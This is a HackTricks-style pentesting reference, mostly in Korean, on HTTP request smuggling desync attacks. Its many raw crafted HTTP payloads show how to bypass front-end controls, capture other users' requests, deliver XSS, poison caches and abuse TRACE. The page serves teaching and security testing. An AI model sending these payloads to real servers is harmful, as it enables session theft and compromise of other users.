.. | ||
browser-http-request-smuggling.md | ||
README.md | ||
request-smuggling-in-http-2-downgrades.md |
HTTP Request Smuggling / HTTP Desync Attack
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud GitHub 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.
웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요
실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요. 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
무엇인가
이 취약점은 프론트엔드 프록시와 백엔드 서버 간의 비동기화로 인해 공격자가 HTTP 요청을 전송할 수 있게 되며, 이 요청은 프론트엔드 프록시(로드 밸런서/리버스 프록시)에서는 단일 요청으로 해석되고 백엔드 서버에서는 2개의 요청으로 해석됩니다.
이로 인해 사용자는 자신의 요청 이후에 백엔드 서버에 도착하는 다음 요청을 수정할 수 있습니다.
이론
메시지가 Transfer-Encoding 헤더 필드와 Content-Length 헤더 필드를 모두 포함하여 수신되면, 후자는 무시해야 합니다.
Content-Length
Content-Length 엔터티 헤더는 수신자에게 전송된 엔터티 본문의 크기를 바이트 단위로 나타냅니다.
Transfer-Encoding: chunked
Transfer-Encoding 헤더는 페이로드 본문을 사용자에게 안전하게 전송하는 데 사용되는 인코딩 형식을 지정합니다.
청크(chunked)는 대량의 데이터가 일련의 청크로 전송됨을 의미합니다.
현실
프론트엔드(로드 밸런서/리버스 프록시)는 content-length 또는 transfer-encoding 헤더를 처리하고, 백엔드 서버는 다른 하나를 처리하여 두 시스템 간의 비동기화를 유발합니다.
이는 공격자가 리버스 프록시에 하나의 요청을 전송할 수 있게 하며, 이 요청은 백엔드 서버에서 2개의 서로 다른 요청으로 해석됩니다. 이 기술의 위험은 백엔드 서버가 주입된 2번째 요청을 다음 클라이언트에서 온 것처럼 해석하고, 그 클라이언트의 실제 요청이 주입된 요청의 일부가 된다는 사실에 있습니다.
특이사항
HTTP에서 새 줄 문자는 2바이트로 구성됩니다:
- Content-Length: 이 헤더는 요청 본문의 바이트 수를 나타내기 위해 10진수 숫자를 사용합니다. 본문은 마지막 문자에서 끝나는 것으로 예상되며, 요청의 끝에 새 줄이 필요하지 않습니다.
- Transfer-Encoding: 이 헤더는 다음 청크의 바이트 수를 나타내기 위해 본문에서 16진수 숫자를 사용합니다. 청크는 새 줄로 끝나야 하지만 이 새 줄은 길이 표시기에 의해 계산되지 않습니다. 이 전송 방법은 크기 0의 청크로 끝나야 하며, 그 뒤에 2개의 새 줄이 와야 합니다:
0
- Connection: 제 경험에 따르면 요청 스머글링의 첫 번째 요청에서 **
Connection: keep-alive
**를 사용하는 것이 좋습니다.
기본 예제
{% hint style="success" %}
이것을 Burp Suite로 악용하려고 할 때 **Update Content-Length
및 Normalize HTTP/1 line endings
**를 리피터에서 비활성화하세요. 일부 도구는 새 줄, 캐리지 리턴 및 잘못된 content-length를 남용합니다.
{% endhint %}
HTTP 요청 스머글링 공격은 Content-Length
(CL) 및 Transfer-Encoding
(TE) 헤더를 해석하는 프론트엔드와 백엔드 서버 간의 불일치를 이용하여 모호한 요청을 전송함으로써 만들어집니다. 이러한 공격은 주로 CL.TE, TE.CL, 및 TE.TE의 형태로 나타날 수 있습니다. 각 유형은 프론트엔드와 백엔드 서버가 이러한 헤더를 우선시하는 방식의 고유한 조합을 나타냅니다. 취약점은 서버가 동일한 요청을 서로 다른 방식으로 처리하여 예상치 못한 결과를 초래하는 데서 발생합니다.
취약점 유형의 기본 예제
{% hint style="info" %} 이전 표에 TE.0 기술을 추가해야 하며, CL.0 기술과 유사하지만 Transfer Encoding을 사용합니다. {% endhint %}
CL.TE 취약점 (프론트엔드에서 사용되는 Content-Length, 백엔드에서 사용되는 Transfer-Encoding)
- 프론트엔드 (CL):
Content-Length
헤더를 기반으로 요청을 처리합니다. - 백엔드 (TE):
Transfer-Encoding
헤더를 기반으로 요청을 처리합니다. - 공격 시나리오:
- 공격자는
Content-Length
헤더의 값이 실제 콘텐츠 길이와 일치하지 않는 요청을 보냅니다. - 프론트엔드 서버는
Content-Length
값을 기반으로 전체 요청을 백엔드로 전달합니다. - 백엔드 서버는
Transfer-Encoding: chunked
헤더로 인해 요청을 청크로 처리하며, 나머지 데이터를 별도의 후속 요청으로 해석합니다. - 예제:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked
0
GET /404 HTTP/1.1
Foo: x
TE.CL 취약점 (프론트엔드에서 사용되는 Transfer-Encoding, 백엔드에서 사용되는 Content-Length)
- 프론트엔드 (TE):
Transfer-Encoding
헤더를 기반으로 요청을 처리합니다. - 백엔드 (CL):
Content-Length
헤더를 기반으로 요청을 처리합니다. - 공격 시나리오:
- 공격자는 청크 크기(
7b
)와 실제 콘텐츠 길이(Content-Length: 4
)가 일치하지 않는 청크 요청을 보냅니다. - 프론트엔드 서버는
Transfer-Encoding
을 존중하여 전체 요청을 백엔드로 전달합니다. - 백엔드 서버는
Content-Length
를 존중하여 요청의 초기 부분(7b
바이트)만 처리하고 나머지는 의도하지 않은 후속 요청의 일부로 남깁니다. - 예제:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked
7b
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
x=
0
TE.TE 취약점 (둘 다 Transfer-Encoding을 사용하는 경우, 난독화 포함)
- 서버: 둘 다
Transfer-Encoding
을 지원하지만, 하나는 난독화를 통해 이를 무시하도록 속일 수 있습니다. - 공격 시나리오:
- 공격자는 난독화된
Transfer-Encoding
헤더가 있는 요청을 보냅니다. - 어떤 서버(프론트엔드 또는 백엔드)가 난독화를 인식하지 못하는지에 따라 CL.TE 또는 TE.CL 취약점이 악용될 수 있습니다.
- 요청의 처리되지 않은 부분은 한 서버에서 후속 요청의 일부가 되어 스머글링으로 이어집니다.
- 예제:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding
: chunked
CL.CL 시나리오 (프론트엔드와 백엔드 모두에서 사용되는 Content-Length)
- 두 서버는 오직
Content-Length
헤더만을 기반으로 요청을 처리합니다. - 이 시나리오는 일반적으로 스머글링으로 이어지지 않으며, 두 서버가 요청 길이를 해석하는 방식이 일치합니다.
- 예제:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive
Normal Request
CL.0 시나리오
Content-Length
헤더가 존재하고 0이 아닌 값을 가지며, 요청 본문에 콘텐츠가 있음을 나타냅니다. 백엔드는Content-Length
헤더를 무시하고(0으로 처리됨), 프론트엔드는 이를 파싱합니다.- 이는 스머글링 공격을 이해하고 구성하는 데 중요하며, 서버가 요청의 끝을 결정하는 방식에 영향을 미칩니다.
- 예제:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive
Non-Empty Body
TE.0 시나리오
- 이전과 유사하지만 TE를 사용합니다.
- 기술 여기에서 보고됨
- 예제:
OPTIONS / HTTP/1.1
Host: {HOST}
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Transfer-Encoding: chunked
Connection: keep-alive
50
GET <http://our-collaborator-server/> HTTP/1.1
x: X
0
EMPTY_LINE_HERE
EMPTY_LINE_HERE
웹 서버 파괴
이 기술은 초기 HTTP 데이터를 읽는 동안 웹 서버를 파괴할 수 있는 시나리오에서 유용합니다. 하지만 연결을 닫지 않고 가능합니다. 이렇게 하면 HTTP 요청의 본문이 다음 HTTP 요청으로 간주됩니다.
예를 들어, 이 글에서 설명된 바와 같이, Werkzeug에서는 일부 유니코드 문자를 전송하여 서버를 파괴할 수 있었습니다. 그러나 HTTP 연결이 Connection: keep-alive
헤더로 생성된 경우 요청의 본문은 읽히지 않으며 연결은 여전히 열려 있으므로 요청의 본문은 다음 HTTP 요청으로 처리됩니다.
홉-바이-홉 헤더를 통한 강제화
홉-바이-홉 헤더를 악용하여 프록시에게 Content-Length 또는 Transfer-Encoding 헤더를 삭제하도록 지시하여 HTTP 요청 스머글링을 악용할 수 있습니다.
Connection: Content-Length
For more information about hop-by-hop headers visit:
{% content-ref url="../abusing-hop-by-hop-headers.md" %} abusing-hop-by-hop-headers.md {% endcontent-ref %}
Finding HTTP Request Smuggling
HTTP 요청 밀반입 취약점을 식별하는 것은 종종 타이밍 기법을 사용하여 달성할 수 있으며, 이는 조작된 요청에 대한 서버의 응답 시간을 관찰하는 데 의존합니다. 이러한 기법은 CL.TE 및 TE.CL 취약점을 감지하는 데 특히 유용합니다. 이러한 방법 외에도 이러한 취약점을 찾기 위해 사용할 수 있는 다른 전략과 도구가 있습니다:
Finding CL.TE Vulnerabilities Using Timing Techniques
- Method:
- 애플리케이션이 취약한 경우, 백엔드 서버가 추가 데이터를 기다리게 하는 요청을 전송합니다.
- Example:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4
1
A
0
- Observation:
- 프론트엔드 서버는
Content-Length
에 따라 요청을 처리하고 메시지를 조기에 차단합니다. - 백엔드 서버는 청크 메시지를 기대하며 도착하지 않는 다음 청크를 기다려 지연이 발생합니다.
- Indicators:
- 응답의 타임아웃 또는 긴 지연.
- 백엔드 서버로부터 400 Bad Request 오류를 수신하며, 때때로 자세한 서버 정보가 포함됩니다.
Finding TE.CL Vulnerabilities Using Timing Techniques
- Method:
- 애플리케이션이 취약한 경우, 백엔드 서버가 추가 데이터를 기다리게 하는 요청을 전송합니다.
- Example:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6
0
X
- Observation:
- 프론트엔드 서버는
Transfer-Encoding
에 따라 요청을 처리하고 전체 메시지를 전달합니다. - 백엔드 서버는
Content-Length
에 따라 메시지를 기대하며 도착하지 않는 추가 데이터를 기다려 지연이 발생합니다.
Other Methods to Find Vulnerabilities
- Differential Response Analysis:
- 요청의 약간 변형된 버전을 전송하고 서버 응답이 예상치 못한 방식으로 다르게 나타나는지 관찰하여 파싱 불일치를 나타냅니다.
- Using Automated Tools:
- Burp Suite의 'HTTP Request Smuggler' 확장과 같은 도구는 다양한 형태의 모호한 요청을 전송하고 응답을 분석하여 이러한 취약점을 자동으로 테스트할 수 있습니다.
- Content-Length Variance Tests:
- 실제 콘텐츠 길이에 맞지 않는 다양한
Content-Length
값을 가진 요청을 전송하고 서버가 이러한 불일치를 처리하는 방식을 관찰합니다. - Transfer-Encoding Variance Tests:
- 난독화되거나 잘못된
Transfer-Encoding
헤더를 가진 요청을 전송하고 프론트엔드 및 백엔드 서버가 이러한 조작에 어떻게 다르게 반응하는지 모니터링합니다.
HTTP Request Smuggling Vulnerability Testing
타이밍 기법의 효과를 확인한 후, 클라이언트 요청을 조작할 수 있는지 확인하는 것이 중요합니다. 간단한 방법은 요청을 오염시키는 것을 시도하는 것입니다. 예를 들어, /
에 대한 요청이 404 응답을 생성하도록 만드는 것입니다. 이전에 논의된 CL.TE
및 TE.CL
예제는 클라이언트의 요청을 오염시켜 404 응답을 유도하는 방법을 보여줍니다. 클라이언트는 다른 리소스에 접근하려고 합니다.
Key Considerations
요청 밀반입 취약점을 테스트할 때 다른 요청에 간섭할 때 유의해야 할 사항:
- Distinct Network Connections: "공격" 요청과 "정상" 요청은 별도의 네트워크 연결을 통해 전송되어야 합니다. 두 요청에 동일한 연결을 사용하는 것은 취약점의 존재를 검증하지 않습니다.
- Consistent URL and Parameters: 두 요청 모두 동일한 URL 및 매개변수 이름을 사용하도록 합니다. 현대 애플리케이션은 종종 URL 및 매개변수에 따라 특정 백엔드 서버로 요청을 라우팅합니다. 이를 일치시키면 두 요청이 동일한 서버에서 처리될 가능성이 높아지며, 이는 성공적인 공격을 위한 전제 조건입니다.
- Timing and Racing Conditions: "정상" 요청은 "공격" 요청의 간섭을 감지하기 위해 다른 동시 애플리케이션 요청과 경쟁합니다. 따라서 "공격" 요청 직후에 "정상" 요청을 전송합니다. 바쁜 애플리케이션은 결론적인 취약점 확인을 위해 여러 번의 시도가 필요할 수 있습니다.
- Load Balancing Challenges: 로드 밸런서 역할을 하는 프론트엔드 서버는 요청을 다양한 백엔드 시스템에 분배할 수 있습니다. "공격" 요청과 "정상" 요청이 서로 다른 시스템에 도달하면 공격이 성공하지 않습니다. 이 로드 밸런싱 측면은 취약점을 확인하기 위해 여러 번의 시도가 필요할 수 있습니다.
- Unintended User Impact: 공격이 다른 사용자의 요청(탐지를 위해 보낸 "정상" 요청이 아님)에 의도치 않게 영향을 미친다면, 이는 공격이 다른 애플리케이션 사용자에게 영향을 미쳤음을 나타냅니다. 지속적인 테스트는 다른 사용자에게 방해가 될 수 있으므로 신중한 접근이 필요합니다.
Abusing HTTP Request Smuggling
Circumventing Front-End Security via HTTP Request Smuggling
때때로 프론트엔드 프록시는 보안 조치를 시행하여 들어오는 요청을 면밀히 조사합니다. 그러나 이러한 조치는 HTTP 요청 밀반입을 이용하여 우회할 수 있으며, 이를 통해 제한된 엔드포인트에 대한 무단 접근이 가능합니다. 예를 들어, /admin
에 접근하는 것은 외부에서 금지될 수 있으며, 프론트엔드 프록시는 이러한 시도를 적극적으로 차단합니다. 그럼에도 불구하고 이 프록시는 밀반입된 HTTP 요청 내의 내장 요청을 검사하지 않을 수 있어 이러한 제한을 우회할 수 있는 허점을 남깁니다.
다음 예제는 HTTP 요청 밀반입을 사용하여 프론트엔드 보안 제어를 우회하는 방법을 보여줍니다. 특히 일반적으로 프론트엔드 프록시가 보호하는 /admin
경로를 목표로 합니다:
CL.TE Example
POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10
x=
CL.TE 공격에서는 초기 요청에 Content-Length
헤더가 사용되고, 이후에 포함된 요청은 Transfer-Encoding: chunked
헤더를 활용합니다. 프론트엔드 프록시는 초기 POST
요청을 처리하지만 포함된 GET /admin
요청을 검사하지 않아 /admin
경로에 대한 무단 접근을 허용합니다.
TE.CL 예제
POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0
반대로, TE.CL 공격에서는 초기 POST
요청이 Transfer-Encoding: chunked
를 사용하고, 이후의 임베디드 요청은 Content-Length
헤더를 기반으로 처리됩니다. CL.TE 공격과 유사하게, 프론트엔드 프록시는 밀반입된 GET /admin
요청을 간과하여, 제한된 /admin
경로에 대한 접근을 우연히 허용합니다.
프론트엔드 요청 재작성 드러내기
응용 프로그램은 종종 프론트엔드 서버를 사용하여 들어오는 요청을 수정한 후 백엔드 서버에 전달합니다. 일반적인 수정 사항은 클라이언트의 IP를 백엔드에 전달하기 위해 X-Forwarded-For: <IP of the client>
와 같은 헤더를 추가하는 것입니다. 이러한 수정 사항을 이해하는 것은 보호 우회 또는 숨겨진 정보나 엔드포인트를 드러내는 방법을 밝혀낼 수 있기 때문에 중요할 수 있습니다.
프록시가 요청을 어떻게 변경하는지 조사하려면, 백엔드가 응답에서 에코하는 POST 매개변수를 찾습니다. 그런 다음, 이 매개변수를 마지막에 사용하여 다음과 유사한 요청을 작성합니다:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked
0
POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
search=
이 구조에서는 후속 요청 구성 요소가 search=
뒤에 추가되며, 이는 응답에 반영되는 매개변수입니다. 이 반영은 후속 요청의 헤더를 노출시킵니다.
중요한 것은 중첩 요청의 Content-Length
헤더를 실제 콘텐츠 길이에 맞추는 것입니다. 작은 값으로 시작하고 점진적으로 증가시키는 것이 좋습니다. 너무 낮은 값은 반영된 데이터를 잘라내고, 너무 높은 값은 요청이 오류를 발생시킬 수 있습니다.
이 기술은 TE.CL 취약점의 맥락에서도 적용 가능하지만, 요청은 search=\r\n0
으로 종료되어야 합니다. 줄 바꿈 문자와 관계없이 값은 검색 매개변수에 추가됩니다.
이 방법은 주로 프론트엔드 프록시가 수행한 요청 수정 사항을 이해하는 데 사용되며, 본질적으로 자가 조사 역할을 합니다.
다른 사용자의 요청 캡처하기
POST 작업 중 매개변수의 값으로 특정 요청을 추가하여 다음 사용자의 요청을 캡처하는 것이 가능합니다. 다음과 같이 이를 수행할 수 있습니다:
다음 요청을 매개변수의 값으로 추가하면 후속 클라이언트의 요청을 저장할 수 있습니다:
POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked
0
POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=
이 시나리오에서, comment parameter는 공개적으로 접근 가능한 페이지의 게시물 댓글 섹션 내의 내용을 저장하기 위해 설계되었습니다. 따라서, 이후 요청의 내용은 댓글로 나타납니다.
그러나 이 기술에는 한계가 있습니다. 일반적으로, 이는 밀반입된 요청에서 사용된 매개변수 구분자까지의 데이터만 캡처합니다. URL 인코딩된 양식 제출의 경우, 이 구분자는 &
문자입니다. 이는 피해자 사용자의 요청에서 캡처된 내용이 첫 번째 &
에서 멈춘다는 것을 의미하며, 이는 쿼리 문자열의 일부일 수도 있습니다.
또한, 이 접근 방식은 TE.CL 취약점에서도 유효하다는 점에 유의할 가치가 있습니다. 이러한 경우, 요청은 search=\r\n0
으로 끝나야 합니다. 줄 바꿈 문자와 관계없이, 값은 검색 매개변수에 추가됩니다.
HTTP request smuggling을 사용하여 반사된 XSS를 악용하기
HTTP Request Smuggling은 Reflected XSS에 취약한 웹 페이지를 악용하는 데 활용될 수 있으며, 상당한 이점을 제공합니다:
- 대상 사용자와의 상호작용이 필요하지 않습니다.
- HTTP 요청 헤더와 같이 일반적으로 접근할 수 없는 요청의 일부에서 XSS를 악용할 수 있습니다.
웹사이트가 User-Agent 헤더를 통해 반사된 XSS에 취약한 경우, 다음 페이로드는 이 취약점을 악용하는 방법을 보여줍니다:
POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=ac311fa41f0aa1e880b0594d008d009e
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded
0
GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded
A=
이 페이로드는 취약점을 악용하기 위해 다음과 같이 구성됩니다:
Transfer-Encoding: chunked
헤더가 있는 일반적인POST
요청을 시작하여 밀반입의 시작을 나타냅니다.- 다음에
0
이 오며, 이는 청크된 메시지 본문의 끝을 표시합니다. - 그런 다음,
User-Agent
헤더에<script>alert(1)</script>
스크립트가 주입된 밀반입된GET
요청이 도입되어, 서버가 이 후속 요청을 처리할 때 XSS가 트리거됩니다.
밀반입을 통해 User-Agent
를 조작함으로써, 페이로드는 정상 요청 제약을 우회하여 비표준이지만 효과적인 방식으로 반사된 XSS 취약점을 악용합니다.
HTTP/0.9
{% hint style="danger" %}
사용자 콘텐츠가 **Content-type
**이 **text/plain
**인 응답에 반영되는 경우, XSS 실행이 방지됩니다. 서버가 HTTP/0.9를 지원하는 경우 이를 우회할 수 있을지도 모릅니다!
{% endhint %}
HTTP/0.9 버전은 1.0 이전의 버전으로, GET 동사만 사용하며 헤더로 응답하지 않고 본체만 응답합니다.
이 글에서는 요청 밀반입과 사용자의 입력에 응답하는 취약한 엔드포인트를 악용하여 HTTP/0.9로 요청을 밀반입했습니다. 응답에 반영될 매개변수는 **유효한 실행 가능한 JS 코드가 포함된 가짜 HTTP/1.1 응답(헤더와 본체 포함)**을 포함하므로, 응답은 Content-Type
이 text/html
인 유효한 실행 가능한 JS 코드를 포함하게 됩니다.
HTTP 요청 밀반입을 통한 사이트 내 리디렉션 악용
응용 프로그램은 종종 리디렉션 URL의 Host
헤더에서 호스트 이름을 사용하여 한 URL에서 다른 URL로 리디렉션합니다. 이는 Apache 및 IIS와 같은 웹 서버에서 일반적입니다. 예를 들어, 후행 슬래시가 없는 폴더를 요청하면 슬래시를 포함하도록 리디렉션됩니다:
GET /home HTTP/1.1
Host: normal-website.com
결과:
HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/
비록 무해해 보이지만, 이 행동은 HTTP request smuggling을 사용하여 사용자를 외부 사이트로 리디렉션하는 데 조작될 수 있습니다. 예를 들어:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked
0
GET /home HTTP/1.1
Host: attacker-website.com
Foo: X
이 스머글된 요청은 다음에 처리되는 사용자 요청이 공격자가 제어하는 웹사이트로 리디렉션될 수 있습니다:
GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com
결과:
HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/
이 시나리오에서는 사용자의 JavaScript 파일 요청이 탈취됩니다. 공격자는 응답으로 악성 JavaScript를 제공하여 사용자를 손상시킬 수 있습니다.
HTTP 요청 스머글링을 통한 웹 캐시 오염 활용
웹 캐시 오염은 프론트엔드 인프라의 콘텐츠를 캐시하는 어떤 구성 요소라도 있을 경우 실행될 수 있으며, 일반적으로 성능 향상을 위해 사용됩니다. 서버의 응답을 조작함으로써 캐시를 오염시킬 수 있습니다.
이전에 서버 응답을 변경하여 404 오류를 반환하는 방법을 관찰했습니다 (참조: 기본 예제). 유사하게, 서버를 속여 /static/include.js
요청에 대한 응답으로 /index.html
콘텐츠를 제공하도록 할 수 있습니다. 결과적으로, /static/include.js
콘텐츠는 /index.html
의 내용으로 캐시에서 대체되어 사용자가 /static/include.js
에 접근할 수 없게 되며, 이는 서비스 거부(DoS)로 이어질 수 있습니다.
이 기술은 오픈 리다이렉트 취약점이 발견되거나 오픈 리다이렉트로의 사이트 내 리다이렉트가 있을 경우 특히 강력해집니다. 이러한 취약점을 이용하여 /static/include.js
의 캐시된 콘텐츠를 공격자가 제어하는 스크립트로 대체할 수 있으며, 이는 업데이트된 /static/include.js
를 요청하는 모든 클라이언트에 대한 광범위한 교차 사이트 스크립팅(XSS) 공격을 가능하게 합니다.
아래는 사이트 내 리다이렉트와 오픈 리다이렉트를 결합한 캐시 오염 활용의 예시입니다. 목표는 공격자가 제어하는 JavaScript 코드를 제공하기 위해 /static/include.js
의 캐시 콘텐츠를 변경하는 것입니다:
POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked
0
GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
x=1
Note the embedded request targeting /post/next?postId=3
. This request will be redirected to /post?postId=4
, utilizing the Host header value to determine the domain. By altering the Host header, the attacker can redirect the request to their domain (on-site redirect to open redirect).
After successful socket poisoning, a GET request for /static/include.js
should be initiated. This request will be contaminated by the prior on-site redirect to open redirect request and fetch the content of the script controlled by the attacker.
Subsequently, any request for /static/include.js
will serve the cached content of the attacker's script, effectively launching a broad XSS attack.
Using HTTP request smuggling to perform web cache deception
웹 캐시 오염과 웹 캐시 기만의 차이점은 무엇인가요?
- 웹 캐시 오염에서는 공격자가 애플리케이션이 캐시에 악성 콘텐츠를 저장하도록 유도하며, 이 콘텐츠는 다른 애플리케이션 사용자에게 캐시에서 제공됩니다.
- 웹 캐시 기만에서는 공격자가 애플리케이션이 다른 사용자의 민감한 콘텐츠를 캐시에 저장하도록 유도하며, 공격자는 이후 이 콘텐츠를 캐시에서 검색합니다.
The attacker crafts a smuggled request that fetches sensitive user-specific content. Consider the following example:
`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Connection: keep-alive`\
`Content-Length: 43`\
`Transfer-Encoding: chunked`\
``\ `0`\``\
`GET /private/messages HTTP/1.1`\
`Foo: X`
이 스머글링된 요청이 정적 콘텐츠(예: /someimage.png
)를 위한 캐시 항목을 오염시키면, 피해자의 /private/messages
의 민감한 데이터가 정적 콘텐츠의 캐시 항목 아래에 캐시될 수 있습니다. 결과적으로, 공격자는 이러한 캐시된 민감한 데이터를 검색할 수 있습니다.
HTTP 요청 스머글링을 통한 TRACE 남용
이 게시물에서 서버에 TRACE 메서드가 활성화되어 있다면 HTTP 요청 스머글링으로 이를 악용할 수 있다고 제안합니다. 이는 이 메서드가 응답 본문의 일부로 서버에 전송된 모든 헤더를 반영하기 때문입니다. 예를 들어:
TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>
응답을 다음과 같이 보낼 것입니다:
HTTP/1.1 200 OK
Content-Type: message/http
Content-Length: 115
TRACE / HTTP/1.1
Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx
이 동작을 악용하는 예는 먼저 HEAD 요청을 밀반입하는 것입니다. 이 요청은 GET 요청의 헤더만으로 응답됩니다 (Content-Type
포함). 그리고 HEAD 요청 직후에 TRACE 요청을 밀반입하여, 전송된 데이터를 반영합니다.
HEAD 응답에는 Content-Length
헤더가 포함되므로, TRACE 요청의 응답은 HEAD 응답의 본문으로 처리되어 임의의 데이터를 반영하게 됩니다.
이 응답은 연결을 통해 다음 요청으로 전송되므로, 예를 들어 임의의 JS 코드를 주입하기 위해 캐시된 JS 파일에서 사용될 수 있습니다.
HTTP 응답 분할을 통한 TRACE 악용
이 게시물을 계속 따라가는 것이 TRACE 메서드를 악용하는 또 다른 방법을 제안합니다. 언급된 바와 같이, HEAD 요청과 TRACE 요청을 밀반입하면 HEAD 요청에 대한 응답에서 일부 반영된 데이터를 제어할 수 있습니다. HEAD 요청의 본문 길이는 기본적으로 Content-Length 헤더에 표시되며, TRACE 요청에 대한 응답으로 형성됩니다.
따라서 새로운 아이디어는 이 Content-Length와 TRACE 응답에서 제공된 데이터를 알고 있을 때, TRACE 응답이 Content-Length의 마지막 바이트 이후에 유효한 HTTP 응답을 포함하도록 만들어 공격자가 다음 응답에 대한 요청을 완전히 제어할 수 있게 하는 것입니다 (이는 캐시 오염을 수행하는 데 사용될 수 있습니다).
예:
GET / HTTP/1.1
Host: example.com
Content-Length: 360
HEAD /smuggled HTTP/1.1
Host: example.com
POST /reflect HTTP/1.1
Host: example.com
SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok\r\n
Content-Type: text/html\r\n
Cache-Control: max-age=1000000\r\n
Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>
이러한 응답을 생성합니다 (HEAD 응답에 Content-Length가 있어 TRACE 응답이 HEAD 본문의 일부가 되고 HEAD Content-Length가 끝나면 유효한 HTTP 응답이 밀반입되는 방식을 주목하세요):
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 0
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 165
HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 243
SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok
Content-Type: text/html
Cache-Control: max-age=1000000
Content-Length: 50
<script>alert(“arbitrary response”)</script>
HTTP 요청 스머글링을 HTTP 응답 비동기화로 무기화하기
HTTP 요청 스머글링 취약점을 발견했지만 이를 어떻게 악용할지 모르겠다면, 다음의 다른 악용 방법을 시도해 보세요:
{% content-ref url="../http-response-smuggling-desync.md" %} http-response-smuggling-desync.md {% endcontent-ref %}
기타 HTTP 요청 스머글링 기술
- 브라우저 HTTP 요청 스머글링 (클라이언트 측)
